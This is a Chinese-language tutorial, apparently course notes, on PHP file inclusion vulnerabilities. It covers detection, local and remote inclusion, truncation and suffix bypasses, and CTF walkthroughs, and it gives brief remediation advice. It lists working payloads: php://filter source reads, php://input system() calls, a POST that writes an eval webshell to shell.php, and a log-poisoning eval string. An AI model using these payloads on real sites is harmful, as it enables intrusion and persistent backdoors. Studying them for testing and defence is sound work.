31 WEB漏洞-文件操作之文件包含漏洞全解

目录

    • 文件包含漏洞
      • 原理
      • 检测
      • 类型
      • 利用
      • 修复
    • 本地包含-无限制,有限制
    • 远程包含-无限制,有限制
    • 各种协议流玩法
      • 文章介绍
      • 读取文件源码用法
      • 执行php代码用法
      • 写入一句话木马用法
      • 每个脚本支持的协议玩法
    • 演示案例
      • 某CMS程序文件包含利用-黑盒
      • CTF-南邮大,i春秋百度杯真题-白盒

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用这个漏洞去包含文件,然后让这个文件去代码执行,将他当做脚本语言去执行

文件包含漏洞

原理

<?php$filename=$_GET['filename'];
include($filename);
接收参数值,用功能函数把参数值包含
//http://127.0.0.1:8080/include.php?filename=index.txt
包含漏洞造成的影响是将文件里面的东西当做代码去执行,如果我们单纯去访问1.txt的话,那么这个网站打开的就是一个代码,把文件当做文本去执行了,代码就无法触发出一个php的效果
你的网站是php的就当做php执行,如果是jsp的就当做jsp执行
漏洞原理:一个可以控制的变量,一个使用函数造成的漏洞效果,include包含,就会造成包含漏洞
漏洞成因都是一样的,就是漏洞的危害和等级不一样而已
/*
$filename=$_GET['filename'];
include($filename.".html");
*/?>

检测

有代码我们就去代码里面分析到这个漏洞,没有代码的时候,采用工具扫描,然后利用公开漏洞、功能点和参数值来判定,就是可以看下网址后面的参数值,是不是文件或类似文件名的一个命名来判定,我们就可以替换对应的参数值,来实现包含其它指定文件,所以可以通过手工看参数值来判定是不是文件包含漏洞

根据这个功能是干吗用的,针对网站这里功能的应用,功能实现的话可能涉及到什么函数,这个函数适不适合文件包含类似的,来确定这里是不是文件包含漏洞,这个就是检测的大致手段

类型

远程包含,包含互联网可以访问到的文件,远程包含漏洞危害更大一些;本地文件包含是包含本地文件,除非这个文件有,你才能包含,如果这个文件没有,你就不能包含,远程文件可以通过我们自己创建的网站和地址,然后让这个漏洞去包含指向的文件,由于是自己指向的,这些类似的代码都是可以自己去确定的
无限制指的是包含漏洞没有限制,直接用就可以了;有限制可能有些干扰,需要你用些特殊的方法去绕过

利用

能不能读取里面的文件或执行相关的命令,要求可以通过一些伪协议,这些伪协议可以通过相关的有限制的绕过,绕过一些常见的WAF软件,这些利用是属于他的一些拓展利用,与其它协议的结合

修复

文件包含各个脚本代码
ASP,PHP,JSP,ASPX等

<!--#include file="1.asp"-->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<?php Include('test.php')?>

将文件包含进去之后,会调用指定文件的代码,比如说我们要进行一个文件连接、数据库查询的话,我们可以先包含一个数据库文件,那么你在去连接的话,就享有数据库的配置信息,就不需要进行相关的操作,所以它可以把功能性代码写到一个文件里面,用另外一个文件去包含文件,这样就不用书写包含文件里面的代码

固定后缀
对参数值进行检测,如果不需要传参的话,直接固定死就可以了
在实战情况下,他没有得到代码,他是不会想到后面强制加了个后缀,他会排除很多原因,第一种原因这个文件是不是存在,是不是上面有拦截呀,或者有没有漏洞,他会有这些疑问,测试的时候就会花很多时间,但是时间花长的话,真有漏洞,他也测不出来,所以我们加这个过滤后缀也可以,防止一部分攻击。尽量还是固定为好。还可以装一些waf和监控类的产品,来实时的看一下流量。
固定文件
固定包含的文件
WAF产品
部署waf产品能防止一些漏洞

本地包含-无限制,有限制

http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt

可以用目录的符号进行夸越,…/

$filename=$_GET['filename'];
include($filename.".html");

指向文件的后缀是.html,如果指向文件的后缀不是.html的,在执行的时候会出现失败,因为他强制性在后面加了html,而导致指向的时候,不存在这个文件;除非你有上传权限,上传.html的文件,那是可以的
但是我们要想象到,在实战中这个代码我又看不到,你又怎么知道,这里是html格式呢,格式是千奇百怪的,你如果说慢慢去测试的话,肯定需要很长时间,各种格式都要测试,这是不现实的
一般我们在确认是包含漏洞,在利用的时候,我们会发现报错,这种就是常规的限制
在这里插入图片描述
我们有两个方法去绕过
%00截断:条件: magic_quotes_gpc = off php版本<5.3.4
filename=…/…/…/www.txt%00
相当于被截断了,.html没有生效,那就是一个单纯的1.txt,但是这个要满足php版本的
长度截断:条件:windows,点号需要长于256;linux 长于4096
相当于waf绕过,垃圾数据填充的方法
命名过长,导致html加不上去,因为他已经是最大长度,256就是windows上文件命名的长度,超过这个长度就无法在命名了,这个长度就是文件名的长度,超过这个长度之后,代码后面强制加上.html就会失效。
操作系统指的是目标服务器上的操作系统
在这里插入图片描述
因为接收的参数值过长,相当于文件名过长,.html就加不上去了
./的写法,这个文件最终还是会识别成.txt,这个符号最终还是没有受到任何的干扰
在这里插入图片描述
根据操作系统决定的,Linux上也差不多,可以去网上查一下干扰符号的写法,就是文件命名的时候干扰符写上去,不会影响到文件的识别

远程包含-无限制,有限制

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

在任何脚本里,都基本上有一个简单的设置,来确定这个漏洞会不会成为一个远程包含
第一种就是代码的限制,如果代码有限制你只能包含本地文件的话,那就不会造成远程包含,如果说代码里面没有限制并且在开发平台设置里面也没有说不允许包含远程,那么就是可以包含远程漏洞
在php里面就有一个开关,这个开关叫allow_url_include,可以通过phpinfo知道开关的情况
在这里插入图片描述
当前是on状态就是开启状态,就是允许地址的一个远程请求
如果是其它脚本,可以去搜一下,基本上每个大平台上面都会有这个设置,在配置文件、脚本代码里面
在这里插入图片描述
把远程文件访问并且调用执行了
我们在远程服务器上写一个后门代码,我们在去访问这个地址,现在代码执行,因为代码执行就是一个空白,我们用菜刀去连接,这个就能成为一个后门

这个漏洞相当于会请求这个远程地址,并且把这个远程地址代码去执行,所以这个代码执行就是后门代码
这个就是属于远程包含,无过滤的情况,有过滤的情况是这样子的
在这里插入图片描述
加个%20、%23、?就能绕过了,他会将后面的.html给过滤掉
这个就是最简单的远程包含漏洞原始的利用,我们学的话就要学一点更加新的东西

各种协议流玩法

文章介绍

https://www.cnblogs.com/endust/p/11804767.html

读取文件源码用法

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
因为有时候代码会有一些乱码,所以尽量要用base64会比较好一点

执行php代码用法

http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?>

写入一句话木马用法

就相当于把后门代码给写到shell.php里面,直接连接shell.php,成功获取webshell,那么这个网站相当于通过这个漏洞直接拿下权限
http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
在这里插入图片描述
不同的语言写法是不同的,但是有些协议大部分都支持的,比如file协议
file协议在使用的时候,要用到完整协议,就是这点不好,有些特定文件,我们知道路径,有些完整路径,可能不知道,这个时候需要我们前期的信息收集可能才会知道
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/www/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php %20phpinfo();?>

每个脚本支持的协议玩法

在这里插入图片描述
有一些协议在脚本环境下,是有些支持的,有些不支持的,在有些不支持的情况下是有些特殊例外的,比如说有些版本限制呀,有些安全配置之后可能就支持,这个得根据实际情况
在这里插入图片描述
我们在使用某种协议写法的时候,首先要确定当前网站脚本是否支持,完了之后,支持的情况下可能需要一些条件,写法,按照上面提供的玩法去玩就可以了

演示案例

本地文件包含代码测试-原理
远程文件包含代码测试-原理
各种协议流提交流测试-协议

某CMS程序文件包含利用-黑盒

本地包含我们大部分会去包含本地文件,但是这个本地文件,是它本地的,如果说我们不能上传我的文件到这个网站上面去的话,那只能包含之前在服务器上的一些文件,由于之前的服务器文件不是我上传的,我们是不知道里面有没有我们想要的代码的,比如说像后门代码;如果说后门代码有进去的话,我们可以包含这个代码成功获取webshell,但是这个后门代码不是我上传的,而且那些文件你也不知道有没有,你还要通过扫描探针才能确定有那些文件,在进行包含
如果说本地包含你要考虑到一个能不能上传到本地上去,如果说不能,我们就要采取其它措施
思路:代码审计、公开漏洞、漏洞扫描
我们知道网站使用的是cms,我们可以直接去网站上面搜,关于xxcms漏洞的情况有没有,如果没有我自己就下源码去分析,有的话直接去搜索去利用,获取到漏洞的路径去搜索
本地文件包含漏洞,你不能去远程包含,要么上传文件去包含,要么去包含固有的文件,如果没有上传点,你只能去包含本地文件
原始文件里面尽量找一些能够操作的文件,比如说像日志文件,通过将恶意信息记录到日志信息中,然后日志信息中有后门代码,再包含

http://192.168.10.22/index.php?s=my/show/id/{~eval($_ POST[x])}

我们等下利用文件包含漏洞的时候,会把这个代码当作PHP执行,写不写<?php 是无所谓的,因为你写上去也是告诉他,你这是php代码,但是你不写他也会把他当做PHP代码执行
我们学到的知识点一定是要多方面应用的,实体网站一般就是完整的网站,需要我们用到漏洞扫描工具、需要我们去网上找这套程序在网上有没有公开的漏洞,可能我们需要想办法读到这套程序的源码,然后把源码分析一遍,能不能找到相关的漏洞,这就是实战情况下的问题

CTF-南邮大,i春秋百度杯真题-白盒

在ctf比赛中很少用到扫描工具,大部分都需要你自己去观察,去分析漏洞的情况,在真实环境下可能就是一个网站,那么这个时候就可以用漏扫工具去找他的脆弱点

单纯的地址、很粗糙的页面给你看,这个就是很简单的页面,我们右键源代码也是这么个东西,那无非就是内容、网站地址上面看一下有没有东西

https://4.chinalover.sinaapp.com/web7/indexphp?file=show.php

首先参数名他是有讲究的,写的是name传的是名字,写的是id传的是编号,写的是file说明传的是文件,那就属于我们说的文件操作性安全的一些相关漏洞,后面加上的参数值,直接了当的告诉你这是个show.php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
根据参数值和功能点去确定和猜测考了什么漏洞

php://filter/read=convert.base64-encode/resource=index.phphttp://e5369bfd1d9c4bc4a66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://input 
Post:<?php system('ls');?>
http://e5369bfd1d9.c66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/67697.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

定时任务job (现成直接用)

1. 任务调度的2种方式 1. bean调用示例: 对应的类上加Component或Service注解, 类名.方法名(ryTask.ryNoParams) 类名首字母小写; 该类必须要在com.ruoyi 包下, 因为有校验 2. 权限类名调用示例: com.ruoyi.quartz.task.RyTask.ryNoParams 注意: class(类名)调用的时候, 只能调…

leetcode 35. 搜索插入位置

2023.9.4 本题较为简单&#xff0c;题目要求O(log n)的时间复杂度&#xff0c;就不能遍历查找了&#xff0c;得用二分查找。若成功查找到target值&#xff0c;则直接返回索引&#xff1b; 若直到结束都没查找到则返回left值。(纸上模拟下就懂了) 代码如下&#xff1a; class S…

Axure RP PC电商平台Web端交互原型模板

Axure RP PC电商平台Web端交互原型模板。原型图内容齐全&#xff0c;包含了用户中心、会员中心、优惠券、积分、互动社区、运营推广、内容推荐、商品展示、订单流程、订单管理、售后及服务等完整的电商体系功能架构和业务流程。 在设计尺寸方面&#xff0c;本套模板按照主流的…

酷派30/锋尚40/大观40S首发解锁BL+完美root权限+去除密码黑砖线刷修复

早前的中华酷联&#xff0c;随着时代的发展&#xff0c;酷派手机虽热发展的并没有其他手机那么快&#xff0c;但也 是坚强的活了下来。目前主打机型为Cool系列&#xff0c;最高为Cool30机型&#xff0c;并且发布酷派锋尚 40酷派大观40S&#xff0c;起头并进。该系列机型&#x…

Web前端开发概述

Web&#xff08;World Wide Web&#xff0c;全球广域网&#xff09;是指一种基于互联网的信息系统&#xff0c;通过超文本链接将全球各地的文档、图像、视频等资源相互关联起来&#xff0c;并通过Web浏览器进行交互浏览和访问。Web的发展使得人们可以方便地获取和共享各种类型的…

【搭建私人图床】使用LightPicture开源搭建图片管理系统并远程访问

文章目录 1.前言2. Lightpicture网站搭建2.1. Lightpicture下载和安装2.2. Lightpicture网页测试2.3.cpolar的安装和注册 3.本地网页发布3.1.Cpolar云端设置3.2.Cpolar本地设置 4.公网访问测试5.结语 1.前言 现在的手机越来越先进&#xff0c;功能也越来越多&#xff0c;而手机…

Redis——数据结构介绍

Redis是一个key-value的数据库&#xff0c;key一般是String类型&#xff0c;不过value的类型是多样的&#xff1a; String&#xff1a;hello wordHash&#xff1a;{name:"Jack",age:21}List&#xff1a;[A -> B -> C -> D]Set&#xff1a;{A,B,C}SortedSet…

uni-app 之 图片

uni-app 之 图片 获取图片 v-bind 动态绑定 image.png <template><view><view>--- 获取图片1 ---<image src"../../static/img/tabbar_home1.png"></image></view><view>--- 获取图片2 v-bind 动态绑定---<image v-bi…

面试题查漏补缺 i++和 ++ i哪个效率更高

i 和 i 哪个效率更高&#xff1f; 在这里声明&#xff0c;简单地比较前缀自增运算符和后缀自增运算符的效率是片面的&#xff0c;因为存在很多因素影响这个问题的答案。首先考虑内建数据类型的情况:如果自增运算表达式的结果没有被使用&#xff0c;而是仅仅简单地用于增加一员…

从本地到Gitee:一步步学习文件上传及解决常见报错问题

&#x1f642;博主&#xff1a;小猫娃来啦 &#x1f642;文章核心&#xff1a;一步步学习文件上传及解决常见报错问题 文章目录 安装git进入gitee官网&#xff0c;登录账号新建仓库先打开git命令行上传本地资源到仓库第一步&#xff1a;git init第二步&#xff1a;git add .第三…

Revit SDK 介绍:CreateAirHandler 创建户式风管机

前言 这个例子介绍如何通过 API 创建一个户式风管机族的内容&#xff0c;包含几何和接头。 内容 效果 核心逻辑 必须打开机械设备的族模板创建几何实体来表示风管机创建风机的接头 创建几何实体来表示风管机 例子中创建了多个拉伸&#xff0c;下面仅截取一段代码&#xff…

开发指导—利用 CSS 动画实现 HarmonyOS 动效(二)

注&#xff1a;本文内容分享转载自 HarmonyOS Developer 官网文档 点击查看《开发指导—利用CSS动画实现HarmonyOS动效&#xff08;一&#xff09;》 3. background-position 样式动画 通过改变 background-position 属性&#xff08;第一个值为 X 轴的位置&#xff0c;第二个…

go web之一:hello world快速上手+handle(http.Handle和http.HandleFunc的区别与联系)

前情提要&#xff1a; 需要安装好go的环境和VSCode的go插件。 hello world快速上手 1、创建go.mod 在项目根目录下打开命令行&#xff0c;或者直接用VSCode中的终端。输入命令 go mod init github.com/solenovex/web-tutorial 然后就能看到项目结构中多了一个go.mod 2、…

JavaWeb知识梳理(后端部分)

JavaWeb 静态web资源&#xff08;如html 页面&#xff09;&#xff1a;指web页面中供人们浏览的数据始终是不变。 动态web资源&#xff1a;指web页面中供人们浏览的数据是由程序产生的&#xff0c;不同时间点访问web页面看到的内容各不相同。 静态web资源开发技术&#xff1…

2023年特色小镇行业研究报告

第一章 行业概况 1.1 定义 特色小镇&#xff0c;是指以特定产业、文化、旅游、历史等特色为依托&#xff0c;以小镇为载体&#xff0c;通过优化提升小镇的综合功能和服务能力&#xff0c;形成独特的区域品牌和产业集群&#xff0c;进而推动区域经济社会发展的一种新型城镇化形…

Python实现Word、Excel、PPT批量转为PDF

今天看见了一个有意思的脚本Python批量实现Word、EXCLE、PPT转PDF文件。 因为我平时word用的比较的多&#xff0c;所以深有体会&#xff0c;具体怎么实现的我们就不讨论了&#xff0c;因为这个去学了也没什么提升&#xff0c;不然也不会当作脚本了。这里我将其放入了pyzjr库中…

机器人中的数值优化(八)——拟牛顿方法(上)

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考&#xff0c;主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等&#xff0c;本系列文章篇数较多&#xff0c;不定期更新&#xff0c;上半部分介绍无约束优化&#xff0c;…

vue项目配置MongoDB的增删改查操作

在Vue中配置MongoDB的增删改查操作&#xff0c;需要先安装mongoose模块来连接MongoDB数据库。 1. 在Vue项目的根目录中&#xff0c;使用命令行安装mongoose模块&#xff1a; npm install mongoose --save 2. 找到启动node的app.js文件&#xff08;我这里是在server文件中&…

processflow流程图多人协作预热

前言 在线上办公如火如荼的今天&#xff0c;多人协作功能是每个应用绕不开的门槛。processflow在线流程图&#xff08;前身基于drawio二次开发&#xff09;沉寂两年之久&#xff0c;经过长时间设计开发&#xff0c;调整&#xff0c;最终完成了多人协作的核心模块设计。废话不多…

肖sir__设计测试用例方法之场景法04_(黑盒测试)

设计测试用例方法之场景法 1、场景法主要是针对测试场景类型的&#xff0c;顾也称场景流程分析法。 2、流程分析是将软件系统的某个流程看成路径&#xff0c;用路径分析的方法来设计测试用例。根据流程的顺序依次进行组合&#xff0c;使得流程的各个分支能走到。 举例说明&…